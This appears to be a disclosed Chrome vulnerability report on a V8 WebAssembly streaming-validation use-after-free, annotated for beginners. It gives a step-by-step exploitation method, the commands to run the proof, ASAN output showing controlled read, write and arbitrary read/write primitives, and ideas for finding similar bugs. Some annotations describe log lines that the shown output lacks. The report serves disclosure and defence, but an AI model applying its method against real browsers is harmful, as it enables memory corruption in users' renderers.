  • A memory-corruption primitive is a small, reliable ability that an attacker builds out of a bug, such as "read 8 bytes from any address I name". Primitives are the building blocks that later steps are assembled from.
  • ASAN, the AddressSanitizer, is a debugging tool built into a special version of a program. It watches memory and shouts loudly, with a detailed report, the moment a program touches memory it should not. Normal Chrome does not include it; researchers build their own copy.

Context

This is a memory-corruption bug in the renderer, the part of Chrome that turns a web page into what you see. The engine involved is V8. The feature involved is WebAssembly streaming compilation, specifically the JavaScript function WebAssembly.compileStreaming(), together with Wasm GC validation. Wasm GC is the part of WebAssembly that lets programs create and manage structured data objects, and validation is the checking step that confirms a downloaded module is well formed before it is allowed to run.

When a page calls compileStreaming() on a Response (the object a page gets back from a network fetch), V8 decodes the module incrementally as bytes arrive and validates functions on worker threads taken from a shared thread pool. The validation worker reads module and validation state that is owned by the streaming processor, the object that manages the whole streaming job.

The report is scoped to a memory-corruption primitive reachable from web content. It does not claim a sandbox escape or browser-process compromise. In plain terms: the page can misbehave inside the renderer, but the report does not show it getting out of the renderer's cage.

Setup

The proof was developed and run against Chromium 149.0.7827.102 (stable), x64. Chromium is the open-source project Chrome is built from; "stable" means the ordinary release channel that normal users run, and x64 means a 64-bit Intel-style processor.

Because stable builds are not published as official ASAN binaries, the researcher built the binary from the exact 149.0.7827.102 source (chromium commit [redacted]) with the ASAN configuration below. A commit is a specific saved state of the source code, so this pins down exactly which code was tested.

Text
OS:        Debian GNU/Linux 12 (bookworm), x86_64
Kernel:    5.15.0-176-generic
glibc:     2.36
Chrome:    Chromium 149.0.7827.102, x64, AddressSanitizer build
GN config: is_asan = true, is_debug = false, target_cpu = "x64",
           v8_enable_sandbox = true, dcheck_always_on = false

Line by line:

  • OS and Kernel say which operating system and kernel version the test machine ran. The kernel is the core of the operating system.
  • glibc is the standard C library on Linux, the shared code that programs use for basic tasks.
  • Chrome names the exact browser build and notes it is an AddressSanitizer build, meaning the memory checker is compiled in.
  • GN config lists build switches. is_asan = true turns the memory checker on. is_debug = false builds an optimised binary rather than a slow debugging one. target_cpu = "x64" targets 64-bit Intel-style processors. v8_enable_sandbox = true keeps V8's own internal sandbox feature enabled. dcheck_always_on = false leaves out extra internal consistency checks.

The proof is served by a small Python static server and driven by query parameters. Query parameters are the name=value pairs after a ? in a URL; they are a simple way to pass settings to a page. The exploit races a validation worker against context disposal, so it is timing-sensitive and may need re-running if the RUN12x markers do not appear; the parameters given are tuned for this build. A race means two things happen at the same time and the outcome depends on which finishes first, like two people reaching for the same door handle.

Finding it

The researcher noticed that Blink uses different V8 disposal semantics for top-level frames and dependent subframes. Blink is the part of Chrome that handles page structure, frames and the document object model. A frame is one browsing context: the main page is a top-level frame, and an embedded page inside it is a subframe. Disposal means cleaning up when a page goes away.

In LocalWindowProxy::DisposeContext, the call is:

C++
// third_party/blink/renderer/core/frame/local_window_proxy.cc
//   LocalWindowProxy::DisposeContext(...)
isolate->ContextDisposedNotification(!is_main_frame);

This is C++ source from Chrome. isolate is V8's per-page execution environment. ContextDisposedNotification is the message Blink sends to V8 saying "this page context is going away". The argument is !is_main_frame, which means "not is main frame". The ! flips a true/false value. So for a top-level page the argument is false, and for a subframe it is true.

For a top-level popup, is_main_frame is true, so V8 receives dependant_context == false. That path deletes the active Wasm compile job:

C++
// v8/src/api/api.cc — v8::Isolate::ContextDisposedNotification(bool dependant_context)
if (!dependant_context) {
  if (!i_isolate->context().is_null()) {
    wasm::GetWasmEngine()->DeleteCompileJobsOnContext(
        i_isolate->native_context());
  }
}

Line by line:

  • if (!dependant_context) means "if this context is not a dependent one", that is, if it is a top-level page rather than a subframe.
  • if (!i_isolate->context().is_null()) checks that the isolate still has a context attached, so the code does not act on an empty slot.
  • wasm::GetWasmEngine()->DeleteCompileJobsOnContext(...) asks the WebAssembly engine to delete the compile jobs belonging to that context. A compile job is the bookkeeping object for one compilation in progress.

Destroying the async compile job tells the streaming decoder that compilation was discarded:

C++
// v8/src/wasm/module-compiler.cc — AsyncCompileJob::~AsyncCompileJob()
if (stream_) stream_->NotifyCompilationDiscarded();

This is the destructor of AsyncCompileJob, the function that runs when the object is destroyed. if (stream_) checks that a stream object is attached. stream_->NotifyCompilationDiscarded() then tells the streaming decoder that the compilation has been thrown away, so it should stop expecting more work.

The lifetime that goes wrong is this: AsyncStreamingProcessor owns ValidateFunctionsStreamingJobData, the validation job handle, and the module/validation state the worker reads. ValidateFunctionsStreamingJob::Run() on the worker thread reads data_->GetUnit(), calls ValidateSingleFunction(module_, ...), and writes data_->UpdateDetectedFeatures(...). In everyday terms, the processor is the manager holding the paperwork, and the worker is an employee still reading that paperwork. The bug is that the manager throws the paperwork away while the employee is still reading it.

The failing invariant is that a streaming Wasm validation job must not outlive the processor-owned validation data and module state its worker thread dereferences. An invariant is a rule that must always hold; here the rule is "the worker must finish before its data is freed". Dereference means following a pointer, a memory address, to reach the data it points at.

The safe stream-finish and abort paths cancel or join validation work before freeing processor state. Cancel means telling the worker to stop; join means waiting until it has actually stopped. The top-level context-disposal discard path reaches processor teardown through NotifyCompilationDiscarded() without first proving the validation worker has stopped. That missing proof is the whole bug.

Exploitation

The bug needs a top-level page lifetime transition. A same-origin iframe does not hit the same compile-job deletion path, so subframe disposal is not equivalent. Same-origin means the embedded page comes from the same site as the page around it; browsers treat such pages as related, but even so the cleanup path differs.

To obtain a top-level window without depending on permissive popup settings, the proof uses Payment Handler delivery. A Payment Handler is a web feature that lets a site handle payment requests; the browser can open a window for it as part of the payment flow. The researcher used it as a reliable way to get a top-level window without relying on the browser's popup blocker being lenient.

Step 1: register the Payment Handler and start the request

index.html registers payment-handler-sw.js and calls PaymentRequest.show(). A service worker is a background script that a site installs and that the browser can wake up later; here it is the piece that opens the exploit page. PaymentRequest.show() is the call that displays the payment interface to the user.

Step 2: the service worker opens the exploit page

The service worker opens wasm-asan-controlled-crash-poc.html in a top-level window. Because the window is opened as part of the payment flow, it is a genuine top-level page, which is exactly the condition the bug needs.

Step 3: open the victim popup

That page opens a same-origin about:blank victim popup. about:blank is the empty starting page a new window has before it loads anything; it inherits the opener's origin, so the two pages can talk to each other. The "victim" here is the page that will be closed at the wrong moment.

Step 4: start streaming compilation over a controlled stream

The victim starts WebAssembly.compileStreaming() over a parent-controlled Response. The parent keeps validation busy with an attacker-controlled ReadableStream. A ReadableStream is a JavaScript object that produces data piece by piece on demand; by controlling when pieces arrive, the attacker controls how long validation stays busy.

Step 5: close the victim during validation

The parent closes the victim while code-section validation is still active. Closing a top-level page tears down the async compile job and its streaming processor, but the validation worker keeps running and dereferences the now-freed validation and module state. This is the moment the use-after-free happens.

Step 6: reclaim the freed state

Replacement modules reclaim the freed validation state, giving the page control over it. Reclaiming means arranging for new data to be placed in the memory that was just freed, so that the stale pointer now points at something the attacker shaped. The proof escalates that dangling access into a controlled type confusion. A dangling pointer is a pointer to memory that has been freed. Type confusion means the program treats one kind of object as if it were another kind, which is how a small bug becomes a powerful one.

Running the proof

Start the server:

Bash
cd VRP-submission/bug1-wasm-streaming-uaf/poc
EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py

Line by line:

  • cd VRP-submission/bug1-wasm-streaming-uaf/poc changes into the folder that holds the proof files.
  • EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py sets an environment variable, a setting passed to a program, choosing port 18096, and runs the Python server script. A port is a numbered door on a computer that a network service listens on.

Then launch the ASAN build with the shared options and flags:

Bash
CHROME_ASAN=/path/to/149.0.7827.102/asan/chrome
ASAN_OPTIONS='detect_odr_violation=0:detect_leaks=0:symbolize=1:abort_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0'
FLAGS="--headless=new --no-sandbox --disable-crashpad --disable-breakpad --disable-crash-reporter --enable-logging=stderr"
BASE="http://[redacted]:18096/index.html?proof_id=vrp-bug1&payment_hold_ms=90000&exploit_path=%2Fwasm-asan-controlled-crash-poc.html&auto_start=1&auto_start_delay_ms=0&stream_reclaimer_rounds=18&stream_reclaimer_interval=50&victim_target_nops=5000000&replacement_pretarget_nops=5000000&stream_reclaimer_close_delay=800&clear_timers=1&close_on_finish=1&finish_delay=45000&global_finish_delay=90000"

Line by line:

  • CHROME_ASAN=... stores the path to the instrumented Chrome binary in a variable so the later commands can reuse it.
  • ASAN_OPTIONS=... configures the memory checker. detect_odr_violation=0 and detect_leaks=0 turn off two checks that are not relevant here. symbolize=1 asks for function names in reports instead of bare addresses. abort_on_error=1 makes the program stop immediately on the first error. quarantine_size_mb=0 and thread_local_quarantine_size_kb=0 disable ASAN's habit of holding freed memory aside for a while.
  • FLAGS=... collects browser switches. --headless=new runs without a visible window. --no-sandbox turns off Chrome's process sandbox. The --disable-crashpad, --disable-breakpad and --disable-crash-reporter switches stop the crash reporting machinery from interfering. --enable-logging=stderr sends logs to the terminal's error stream so they can be captured.
  • BASE=... builds the starting URL. [redacted] is the local machine itself, and 18096 is the port chosen above. The query parameters are the settings for the run.

NOPs are no-operation instructions, filler that pads generated code to a chosen size.

Controlled read

The controlled read makes V8 load 8 bytes from an attacker-chosen address, 0x414243444546:

Bash
# Controlled read  (load from attacker-chosen address 0x414243444546)
rm -rf /tmp/p-r; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r \
  "$BASE&asan_crash=forged_read64&asan_crash_value=0x414243444546"

Line by line:

  • rm -rf /tmp/p-r deletes any previous profile folder so the run starts clean. A profile folder is where the browser keeps its settings and history.
  • ASAN_OPTIONS="$ASAN_OPTIONS" passes the memory-checker settings from before into this command.
  • "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r starts the instrumented Chrome with the switches and a fresh profile directory.
  • The final argument is the BASE URL with two extra parameters appended. asan_crash=forged_read64 selects the controlled-read primitive, and asan_crash_value=0x414243444546 is the address to read from. The 0x prefix means the number is written in hexadecimal, base 16, which is the usual way to write memory addresses.

The page logs the armed primitive, then the load faults:

Text
[redacted] kind=forged_read64 index=1 byte_offset=8 value=0x414243444546 view_byteLength=64 view_length=8 buffer_byteLength=8
[redacted] kind=forged_read64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3241928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7caa9e48c3f8 at pc 0x7ffabf3c3271 bp 0x7bfa7d27a6c0 sp 0x7bfa7d27a6b8
READ of size 8 at 0x7caa9e48c3f8 thread T8 (ThreadPoolForeg)
[0612/010516.751271:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/010516.751458:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_ACCERR 7a9c43444545
Received signal 11 SEGV_ACCERR 7a9c43444545

What these lines mean:

  • The two RUN121_... lines are the page's own log messages, printed just before the crash. They record that the controlled-read primitive was armed, which address it targets, and the sizes of the typed array involved. A typed array is a JavaScript object that holds a fixed-size block of numbers of one type.
  • The AddressSanitizer: heap-buffer-overflow line is ASAN reporting that a read went past the end of a valid memory region. The heap is the general-purpose pool of memory a program allocates from at runtime.
  • READ of size 8 at ... thread T8 (ThreadPoolForeg) says an 8-byte read happened on a background thread from the thread pool.
  • The two crashpad lines are harmless complaints that some CPU frequency files do not exist on this machine.
  • Received signal 11 SEGV_ACCERR 7a9c43444545 is the operating system reporting that the program touched memory it is not allowed to touch. Signal 11 is the standard "segmentation fault" signal, and SEGV_ACCERR means access was denied.

The fault value 7a9c43444545 is the chosen 0x414243444546 after V8 pointer-tag/cage decoding. V8 does not store raw addresses in JavaScript objects; it encodes them, and a cage is a reserved region of address space that V8 keeps its objects inside. Its high bits match this run's leaked heap base (RUN119_ADDROF_LEAK value=0x7a9c01077889), so the read address is attacker-derived, not random. In other words, the crash address is not a coincidence: it is the number the page chose, translated through V8's encoding.

Controlled write

The controlled write makes V8 store an attacker-chosen value to an attacker-chosen address:

Bash
# Controlled write (store chosen value 0x5152535455565758 to chosen address 0x414243444546)
rm -rf /tmp/p-w; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-w \
  "$BASE&asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758"

This is the same shape as the read command. The differences are the profile folder /tmp/p-w, the parameter asan_crash=forged_write64 which selects the write primitive, asan_crash_value=0x414243444546 which is the address to write to, and asan_crash_write_value=0x5152535455565758 which is the value to write there.

This run captured the validation worker reading freed signature storage from inside the attacker-driven streaming decode, then the forged store faulting at the chosen address:

Text
[redacted] kind=forged_write64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3481237==ERROR: AddressSanitizer: container-overflow on address 0x7c3aa9c46790 at pc 0x7f8acab1c1e8 bp 0x7b89994761b0 sp 0x7f8acab1c1a8
READ of size 8 at 0x7c3aa9c46790 thread T13 (ThreadPoolForeg)
    #0 0x7f8acab1c1e7 in v8::internal::wasm::ValidateFunctionsStreamingJob::Run(v8::JobDelegate*) gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f8ac55515f3 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0 const&, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>> const&>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>>, void (base::JobDelegate*)>::Run(base::internal::BindStateBase*, base::JobDelegate*) gin/v8_platform.cc:301:23
    #2 0x7f8b2e83e88f in base::RepeatingCallback<void (base::JobDelegate*)>::Run(base::JobDelegate*) const & base/functional/callback.h:346:12
    #3 0x7f8b2e83ff7f in base::internal::Invoker<base::internal::FunctorTraits<base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0 const&, base::internal::JobTaskSource*>, base::internal::BindState<false, false, false, base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0, base::internal::UnretainedWrapper<base::internal::JobTaskSource, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::Run(base::internal::BindStateBase*) base/task/thread_pool/job_task_source.cc:114:32
    #4 0x7f8b2e7a0da9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #5 0x7f8b2e8604eb in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #6 0x7f8b2e860716 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:675:3
    #7 0x7f8b2e85eccf in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:705:7
    #8 0x7f8b2e85de8b in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:393:5
    #9 0x7f8b2e8845e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #10 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #11 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #12 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #13 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7c3aa9c46790 is located 80 bytes inside of 112-byte region [0x7c3aa9c46740,0x7c3aa9c467b0)
allocated by thread T0 (chrome) here:
    #0 0x55721b07663d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f8ac8ae228f in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::reserve(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:42:28
    #2 0x7f8acab4e533 in v8::internal::wasm::WasmModuleSignatureStorage::AllocateMoreStorage(unsigned long) v8/src/wasm/wasm-module.h:749:17
    #3 0x7f8acab4e2ff in v8::internal::wasm::WasmModuleSignatureStorage::Allocate(unsigned long, unsigned long) v8/src/wasm/wasm-module.h:710:7
    #4 0x7f8acab4c9c4 in v8::internal::wasm::ModuleDecoderImpl::consume_sig() v8/src/codegen/signature.h:42:25
    #5 0x7f8acab4bc6e in v8::internal::wasm::ModuleDecoderImpl::consume_base_type_definition(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:577:34
    #6 0x7f8acab4b3a2 in v8::internal::wasm::ModuleDecoderImpl::consume_described_type(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:658:14
    #7 0x7f8acab4aa3f in v8::internal::wasm::ModuleDecoderImpl::consume_describing_type(unsigned long, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:689:14
    #8 0x7f8acab4a298 in v8::internal::wasm::ModuleDecoderImpl::consume_shared_type(unsigned long) v8/src/wasm/module-decoder-impl.h:715:14
    #9 0x7f8acab4875b in v8::internal::wasm::ModuleDecoderImpl::consume_subtype_definition(unsigned long) v8/src/wasm/module-decoder-impl.h:749:14
    #10 0x7f8acab39d85 in v8::internal::wasm::ModuleDecoderImpl::DecodeTypeSection() v8/src/wasm/module-decoder-impl.h:780:31
    #11 0x7f8acab2cf89 in v8::internal::wasm::ModuleDecoderImpl::DecodeSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-decoder-impl.h:437:9
    #12 0x7f8acab12fb9 in v8::internal::wasm::AsyncStreamingProcessor::ProcessSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsign

How to read this report:

  • The RUN121_... line is the page's log confirming the write primitive was armed, with the target address and the value to write.
  • container-overflow is ASAN's name for touching a part of a container, such as a vector, that is allocated but not currently in use. A vector is a growable array.
  • The numbered #0 to #29 lines are the call stack, the chain of function calls that led to the crash, newest first. #0 is ValidateFunctionsStreamingJob::Run, the validation worker. #17 is ReadableStreamBytesConsumer::OnRead, the point where the attacker's stream delivered bytes. The chain between them is the path from the page's data into the worker.
  • The allocated by thread T0 block shows where the memory was originally created: WasmModuleSignatureStorage::Allocate, during decoding of the module's type section. Signature storage is where WebAssembly function signatures are kept.
  • The Thread T13 ... created by T8 and similar blocks show how the worker threads were spawned, which helps confirm the crash is on a background worker rather than the main page thread.
  • The final Received signal 11 SEGV_ACCERR 7a2c43444545 is the forged store faulting at the chosen address, 0x414243444546 after cage decoding; the high bits match this run's heap base.

The crash stack ties the bug to the attacker's input directly: ReadableStreamBytesConsumer::OnRead → FetchDataLoaderForWasmStreaming → WasmStreaming::OnBytesReceived → AsyncStreamingProcessor::ProcessSection (module-compiler.cc:3159) → ValidateFunctionsStreamingJob::Run, with the freed region allocated by WasmModuleSignatureStorage::Allocate during decode. The arrows read as "which called which": the page's stream hands bytes to the fetch loader, which passes them to the Wasm streaming API, which processes the section, which starts the validation worker that then touches freed memory.

Arbitrary read/write

Combining the two, the same control yields a full read/modify/read over a victim BigUint64Array: the page leaks its address, aliases its length field, reads it, overwrites it, and reads it back, and the corruption is visible from JavaScript. A BigUint64Array is a typed array holding 64-bit unsigned integers. Aliasing here means having a second way to reach the same memory, so a write through one view changes what the other view sees.

Text
RUN119_ADDROF_LEAK value=0x7a9c01077889
RUN120_ARW_OBJECT value=0x7a9c01077a89
RUN120_ARW_READ_BEFORE value=0x100000000
RUN120_ARW_WRITE value=0x800000000
RUN120_ARW_READ_AFTER value=0x800000000 byteLength=64 length=8
RUN120_ARW_CONTROL
RUN122_ARW_TYPED_ARRAY_SHOWCASE object=0x7a9c01077a89 field=0x7a9c01077aa9 before=0x100000000 write=0x800000000 after=0x800000000 byteLength=64 length=8

Line by line:

  • RUN119_ADDROF_LEAK is the page learning the address of an object, the first step of any address-based attack.
  • RUN120_ARW_OBJECT records the address of the victim typed array.
  • RUN120_ARW_READ_BEFORE is the length field read before the change, 0x100000000.
  • RUN120_ARW_WRITE is the new value written into that field, 0x800000000.
  • RUN120_ARW_READ_AFTER reads the field back and gets the written value, and reports byteLength=64 length=8. byteLength is the size in bytes that JavaScript sees, and length is the number of elements.
  • RUN120_ARW_CONTROL marks the control step.
  • RUN122_ARW_TYPED_ARRAY_SHOWCASE repeats the whole demonstration in one line: object address, field address, value before, value written, value after, and the resulting byteLength and length.

The alias re-read returns the value just written and the victim's JavaScript-visible byteLength changes from 8 to 64, a corrupted length reflected in script-reachable state. That distinguishes genuine arbitrary read/write from an incidental crash: the page is not merely crashing, it is observing its own change in a value that normal JavaScript can read.

The plain UAF crash

The base case, without the forged primitives, is the validation worker crashing while dereferencing its freed job state. Frame #0 on a thread-pool worker is the validation worker; the freed ValidateFunctionsStreamingJobData was reallocated and the worker reads through the stale pointer. The ASAN report shows a heap-buffer-overflow in ValidateFunctionsStreamingJob::GetMaxConcurrency, with the read landing 120 bytes after a 112-byte region. In plain words: the worker asked for a piece of its job data, the memory had been reused for something else, and the read landed outside the new allocation.

Root cause

The mistake is a lifetime mismatch between the validation worker and the processor-owned state it reads. The top-level context-disposal discard path frees the async compile job and its streaming processor through NotifyCompilationDiscarded() without cancelling or joining the validation worker first. The safe stream-finish and abort paths do cancel or join validation work before freeing processor state, so the invariant holds there but not on this path.

Only a top-level page lifetime transition triggers the discard. This is why the proof goes to the trouble of obtaining a real top-level window through the payment flow.

Impact

The proof demonstrates, on the ASAN build, a graduated set of memory-corruption primitives reachable from a web page:

  • Controlled read: a load from an attacker-chosen address.
  • Controlled write: a store of an attacker-chosen value to an attacker-chosen address.
  • Arbitrary read/write: read and write of a victim object, reflected in JavaScript state.

All are reachable from a web page, with no user interaction beyond visiting the page. The report does not claim a sandbox escape, browser-process compromise or operating-system compromise. The exploit is timing-sensitive because it races a validation worker against context disposal.

Fix

The report suggests making the discard path match the safe abort and finish paths for validation-worker lifetime:

  • cancel or join validate_functions_job_handle_ before freeing ValidateFunctionsStreamingJobData;
  • ensure AsyncStreamingProcessor::~AsyncStreamingProcessor() cannot free validation state while any ValidateFunctionsStreamingJob::Run() can still dereference it;
  • treat shared ownership of validation data as defence in depth, not a replacement for cancellation;
  • keep fail-stop CHECKs, but do not rely on a release CHECK_NULL as the complete fix unless worker cancellation is also guaranteed.

In plain words: before throwing the paperwork away, either tell the employee to stop or wait until they have finished. Shared ownership, where several parts of the program hold a reference to the same data, helps but is not enough on its own. A CHECK is an internal assertion that stops the program if a condition is false; the report warns against treating one such check as the whole fix.

The report lists follow-up ideas for anyone continuing the work:

  • Other top-level disposal paths. Any code path that tears down an isolate's native context while background work is still running is a candidate. A positive result is a worker thread faulting on state freed by the disposal path, with the freed region reallocated by attacker-controlled input.
  • Other streaming consumers. Features that feed bytes into a streaming decoder from a ReadableStream (streaming compilation, streaming parsing, streaming decoders in general) may share the same ownership pattern. A positive result is a crash stack that runs from the stream consumer through the decoder into a worker that reads freed state.
  • Subframe versus top-level comparison. Confirm which disposal paths call ContextDisposedNotification with dependant_context == false. A positive result is a top-level-only crash that does not reproduce in a same-origin iframe.
  • Reclaim strategies. Vary the replacement modules and timing parameters (stream_reclaimer_rounds, stream_reclaimer_interval, stream_reclaimer_close_delay) to see whether freed validation state can be reliably reclaimed. A positive result is a stable RUN12x marker sequence followed by a controlled fault at an attacker-chosen address.
  • Length-field aliasing. On any target where a typed array's length field can be reached through a corrupted pointer, check whether the JavaScript-visible byteLength changes after a write. A positive result is a byteLength that reflects the written value, as in the RUN122_ARW_TYPED_ARRAY_SHOWCASE line.

Glossary

  • AddressSanitizer (ASAN): a debugging tool compiled into a special build of a program that detects invalid memory access and prints a detailed report.
  • Arbitrary read/write: the ability to read from and write to memory addresses of the attacker's choosing.
  • BigUint64Array: a JavaScript typed array holding 64-bit unsigned integers.
  • Blink: the part of Chrome that handles page structure, frames and the document object model.
  • byteLength: the size in bytes of a typed array as JavaScript sees it.
  • Cage: a reserved region of address space that V8 keeps its objects inside, so pointers can be encoded compactly.
  • Commit: a specific saved state of a source code repository.
  • Compile job: the bookkeeping object for one compilation in progress.
  • Container overflow: ASAN's report that a program touched part of a container that is allocated but not currently in use.
  • Dangling pointer: a pointer to memory that has already been freed.
  • Dereference: to follow a pointer to reach the data it points at.
  • Destructor: the function that runs when an object is destroyed.
  • Disposal: the cleanup that happens when a page or context goes away.
  • Frame: one browsing context; the main page is a top-level frame, an embedded page is a subframe.
  • Heap: the general-purpose pool of memory a program allocates from at runtime.
  • Hexadecimal: base-16 number notation, written with a 0x prefix, commonly used for memory addresses.
  • Invariant: a rule that must always hold true.
  • Isolate: V8's per-page execution environment.
  • Join: to wait until a worker thread has actually stopped.
  • Memory-corruption primitive: a small, reliable ability built from a bug, such as reading 8 bytes from a chosen address.
  • NOP: a no-operation instruction, used as filler to pad generated code.
  • Payment Handler: a web feature that lets a site handle payment requests, which the browser can open a window for.
  • Port: a numbered door on a computer that a network service listens on.
  • Profile folder: the directory where a browser keeps its settings and history.
  • Query parameters: the name=value pairs after a ? in a URL, used to pass settings to a page.
  • Race: a situation where two things happen at the same time and the outcome depends on which finishes first.
  • ReadableStream: a JavaScript object that produces data piece by piece on demand.
  • Reclaim: to arrange for new data to be placed in memory that was just freed.
  • Renderer: the part of Chrome that turns a web page into what you see.
  • Response: the object a page gets back from a network fetch.
  • Sandbox: Chrome's isolation boundary that keeps a compromised renderer from taking over the whole browser or the machine.
  • Service worker: a background script a site installs and the browser can wake up later.
  • Signature storage: where WebAssembly function signatures are kept.
  • Streaming compilation: decoding and checking a WebAssembly file while its bytes are still arriving.
  • Subframe: an embedded page inside another page.
  • Thread pool: a set of reusable background threads that a program hands work to.
  • Type confusion: treating one kind of object as if it were another kind.
  • Typed array: a JavaScript object holding a fixed-size block of numbers of one type.
  • Use-after-free: using memory after it has been freed, so the program reads or writes whatever now occupies it.
  • V8: the JavaScript and WebAssembly engine inside Chrome.
  • Validation: the checking step that confirms a downloaded WebAssembly module is well formed before it runs.
  • Vector: a growable array.
  • Wasm GC: the part of WebAssembly that lets programs create and manage structured data objects.
  • WebAssembly (Wasm): a binary format for code that a page can download and run.
  • Worker thread: a second line of work inside the same program, used for background tasks.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.